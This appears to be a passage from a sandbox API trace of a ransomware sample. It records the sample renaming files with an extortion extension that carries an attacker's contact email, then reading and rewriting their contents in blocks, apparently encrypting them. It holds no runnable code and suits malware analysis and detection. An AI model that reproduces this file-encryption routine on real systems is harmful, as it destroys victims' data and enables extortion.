returned 48 [0087.022] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf9d0b910, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x42000042, dwReserved1=0x679240, cFileName="PartnerSetupCompleteResult.log.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PARTNE~1.FIR")) returned 0x6d5540 [0087.022] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0087.022] Sleep (dwMilliseconds=0x1) [0087.260] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml", len=0x2c | out: pbstr=0x55fff7c*="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 1 [0087.260] GetProcessHeap () returned 0x630000 [0087.260] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699798, Size=0x24) returned 0x699a98 [0087.260] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0087.261] CloseHandle (hObject=0x66c) returned 1 [0087.261] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.261] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0087.261] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.261] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d53c0 [0087.262] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0087.262] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0087.262] GetProcessHeap () returned 0x630000 [0087.262] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70f518 [0087.262] GetProcessHeap () returned 0x630000 [0087.262] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71a948 [0087.263] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.263] ReadFile (in: hFile=0x66c, lpBuffer=0x70f518, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f518*, lpNumberOfBytesRead=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0091.868] GetProcessHeap () returned 0x630000 [0091.868] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0091.868] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.868] WriteFile (in: hFile=0x66c, lpBuffer=0x71a948*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71a948*, lpNumberOfBytesWritten=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0091.869] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.869] WriteFile (in: hFile=0x66c, lpBuffer=0x725d47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x725d47*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0091.869] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.869] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0091.869] CloseHandle (hObject=0x66c) returned 1 [0091.872] GetProcessHeap () returned 0x630000 [0091.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71a948 | out: hHeap=0x630000) returned 1 [0091.872] GetProcessHeap () returned 0x630000 [0091.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f518 | out: hHeap=0x630000) returned 1 [0091.872] GetProcessHeap () returned 0x630000 [0091.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0091.872] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0091.872] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0xfcb5fa76, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12fd8, dwReserved0=0xa707496, dwReserved1=0x70f510, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5040 [0091.872] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0091.872] Sleep (dwMilliseconds=0x1) [0093.493] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\588bce7c90097ed212\\netfx_Extended.mzz", len=0x28 | out: pbstr=0x55fff7c*="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 1 [0093.493] GetProcessHeap () returned 0x630000 [0093.493] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a47d8, Size=0x80) returned 0x7268d0 [0093.493] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f0 [0093.527] CloseHandle (hObject=0x6f0) returned 1 [0093.527] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.527] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.528] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.528] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended.mzz.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETFX_~3.FIR")) returned 0x6d5000 [0093.528] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0093.528] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f0 [0093.528] GetProcessHeap () returned 0x630000 [0093.528] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7190088 [0093.529] GetProcessHeap () returned 0x630000 [0093.529] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x719b4b8 [0093.530] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.530] ReadFile (in: hFile=0x6f0, lpBuffer=0x7190088, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7190088*, lpNumberOfBytesRead=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.687] GetProcessHeap () returned 0x630000 [0100.687] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee828 [0100.688] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.688] WriteFile (in: hFile=0x6f0, lpBuffer=0x719b4b8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x719b4b8*, lpNumberOfBytesWritten=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.688] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.689] WriteFile (in: hFile=0x6f0, lpBuffer=0x71a68b7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71a68b7*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0101.720] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.720] WriteFile (in: hFile=0x6f0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0101.720] CloseHandle (hObject=0x6f0) returned 1 [0103.187] GetProcessHeap () returned 0x630000 [0103.187] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x719b4b8 | out: hHeap=0x630000) returned 1 [0103.190] GetProcessHeap () returned 0x630000 [0103.190] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7190088 | out: hHeap=0x630000) returned 1 [0103.193] GetProcessHeap () returned 0x630000 [0103.193] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee828 | out: hHeap=0x630000) returned 1 [0103.194] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0103.194] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x37346f0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x29222eb, dwReserved0=0xa707496, dwReserved1=0x7190080, cFileName="netfx_Extended.mzz.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETFX_~3.FIR")) returned 0x6d5380 [0103.194] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0103.194] Sleep (dwMilliseconds=0x1) [0103.498] Sleep (dwMilliseconds=0x1) [0104.370] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx", len=0x39 | out: pbstr=0x55fff7c*="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 1 [0104.370] GetProcessHeap () returned 0x630000 [0104.370] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e0b8, Size=0x50) returned 0x6eeb28 [0104.370] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0104.371] CloseHandle (hObject=0x6ec) returned 1 [0104.371] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.371] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0104.371] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0104.372] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0763ff, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0763ff, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x2001517, dwReserved1=0x0, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI44FA~1.FIR")) returned 0x6d5380 [0104.372] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0104.372] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0104.372] GetProcessHeap () returned 0x630000 [0104.372] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70080a0 [0104.373] GetProcessHeap () returned 0x630000 [0104.373] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70134d0 [0104.373] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.373] ReadFile (in: hFile=0x6ec, lpBuffer=0x70080a0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70080a0*, lpNumberOfBytesRead=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.416] GetProcessHeap () returned 0x630000 [0112.416] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0112.416] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.416] WriteFile (in: hFile=0x6ec, lpBuffer=0x70134d0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70134d0*, lpNumberOfBytesWritten=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.416] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.416] WriteFile (in: hFile=0x6ec, lpBuffer=0x701e8cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x701e8cf*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.416] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.417] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.417] CloseHandle (hObject=0x6ec) returned 1 [0112.419] GetProcessHeap () returned 0x630000 [0112.419] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70134d0 | out: hHeap=0x630000) returned 1 [0112.419] GetProcessHeap () returned 0x630000 [0112.419] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70080a0 | out: hHeap=0x630000) returned 1 [0112.419] GetProcessHeap () returned 0x630000 [0112.419] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0112.419] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.419] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0763ff, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0763ff, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x8f4845c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xa707496, dwReserved1=0x7008098, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI44FA~1.FIR")) returned 0x6d51c0 [0112.419] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0112.419] Sleep (dwMilliseconds=0x1) [0113.618] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", len=0x55 | out: pbstr=0x55fff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 1 [0113.618] GetProcessHeap () returned 0x630000 [0113.618] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5400, Size=0x30) returned 0x6ed6380 [0113.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0113.619] Sleep (dwMilliseconds=0x1) [0114.250] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml", len=0x3c | out: pbstr=0x55fff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml") returned 1 [0114.250] GetProcessHeap () returned 0x630000 [0114.250] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68fff8, Size=0x74) returned 0x68ff78 [0114.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.250] Sleep (dwMilliseconds=0x1) [0114.732] Sleep (dwMilliseconds=0x1) [0115.080] Sleep (dwMilliseconds=0x1) [0115.389] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm", len=0x43 | out: pbstr=0x55fff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 1 [0115.389] GetProcessHeap () returned 0x630000 [0115.390] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e7ee8, Size=0x58) returned 0x68e7d8 [0115.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.391] Sleep (dwMilliseconds=0x1) [0115.404] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg", len=0x4a | out: pbstr=0x55fff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 1 [0115.404] GetProcessHeap () returned 0x630000 [0115.404] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6eed90, Size=0x4c) returned 0x6ef208 [0115.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.405] Sleep (dwMilliseconds=0x1) [0115.419] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm", len=0x43 | out: pbstr=0x55fff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 1 [0115.419] GetProcessHeap () returned 0x630000 [0115.419] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x64a048, Size=0x40) returned 0x6fef338 [0115.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.421] Sleep (dwMilliseconds=0x1) [0115.435] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg", len=0x4b | out: pbstr=0x55fff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 1 [0115.435] GetProcessHeap () returned 0x630000 [0115.435] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d51c0, Size=0x34) returned 0x6d5280 [0115.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.436] Sleep (dwMilliseconds=0x1) [0115.453] Sleep (dwMilliseconds=0x1) [0115.497] Sleep (dwMilliseconds=0x1) [0115.522] Sleep (dwMilliseconds=0x1) [0115.536] Sleep (dwMilliseconds=0x1) [0115.576] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb", len=0x34 | out: pbstr=0x55fff7c*="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 1 [0115.577] GetProcessHeap () returned 0x630000 [0115.577] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6070, Size=0x28) returned 0x699af8 [0115.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff 